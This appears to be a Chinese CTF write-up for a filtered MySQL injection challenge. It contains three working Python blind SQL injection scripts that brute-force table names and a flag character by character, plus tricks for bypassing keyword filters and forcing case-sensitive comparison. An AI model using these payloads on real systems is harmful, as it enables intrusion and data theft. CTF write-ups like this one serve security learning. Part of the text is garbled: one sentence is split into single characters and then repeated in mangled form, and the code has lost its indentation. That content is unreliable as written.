无in注表名
无union select和字段名注数据
Fuzz测试过滤的关键词有:
union *** select
join
information_schema
in
or
and
sleep
benchmark
if
sys.schema_auto_increment_columns
因为过滤了in所以常用查询表名的方法不能用了
常用:information_schema,mysql.innodb_table_stats,innodb_index_stats
可用sys.x
s
c
h
e
m
a
f
l
a
t
t
e
n
e
d
k
e
y
s
或
s
y
s
.
s
c
h
e
m
a
t
a
b
l
e
s
t
a
t
i
s
t
i
c
s
代
替
注
表
名
:
s
e
l
e
c
t
g
r
o
u
p
c
o
n
c
a
t
(
t
a
b
l
e
n
a
m
e
)
f
r
o
m
s
y
s
.
x
schema_flattened_keys 或 sys.schema_table_statistics 代替 注表名:select group_concat(table_name) from sys.x
schemaflattenedkeys或sys.schematablestatistics代替注表名:selectgroupconcat(tablename)fromsys.xschema_flattened_keys
测试发现 2 || 1=1 回显与2 || 1=0 不同,所以可以盲注出表名。
Exp1:
import requests
import string
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
url = "http://3323eab8-d67f-4c2e-8833-54e9085df6cd.node3.buuoj.cn/index.php"
payload = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
data = {
'id': payload,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break
获得表名
下面需要无列名获取数据,如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)=‘x’
而题中有两列,需要将查询语句与相同数量的列进行比较,再配合 <= 进行盲注参考的paylaod是(select 1,‘admin’)>(select * from test)
Exp2:
import requests
url = "http://3323eab8-d67f-4c2e-8833-54e9085df6cd.node3.buuoj.cn/index.php"flag=''
str1=''
for i in range(1,50):
print(i)
for j in range(32, 128):
payload = "(select ((select * from f1ag_1s_h3r3_hhhhh) < (select 1,'" +flag+chr(j) + "')))#"
data = {
'id': payload
}
res = requests.post(url, data=data)
if 'Nu1L' in res.text:
flag += chr(j-1)
print(flag)
break
这样出来的flag全是大写的,出题人实际上是另外一个考点就是区分大小写
MySQL默认是不分大小写的 但可以通过把字符转为二进制字符串就会强制进行对位的比较。
由于in被过滤了binary无法使用,但当一个字符串连接一个二进制的值时如:CONCAT(“aa”, BINARY(“BB”)),其得到的也将是二进制。且MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串。 //JSON需要MySQL5.7及以上版本
能区分大小写的exp2
exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
payload = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
#print(payload)
data = {
'id': payload,
}
r = requests.post(url,data=data)
if 'Nu1L' not in r.text:
flag=i
print(flag)
break
mysql比较字符串大小是按位比较的,通过给注入的字符加一个~,就能使得字符正确时的结果为false。// ~ 的ASCII码为126比可能注入的字符都大。
参考:
https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/
https://nosec.org/home/detail/3830.html
https://www.jianshu.com/p/b0a130fe5c4d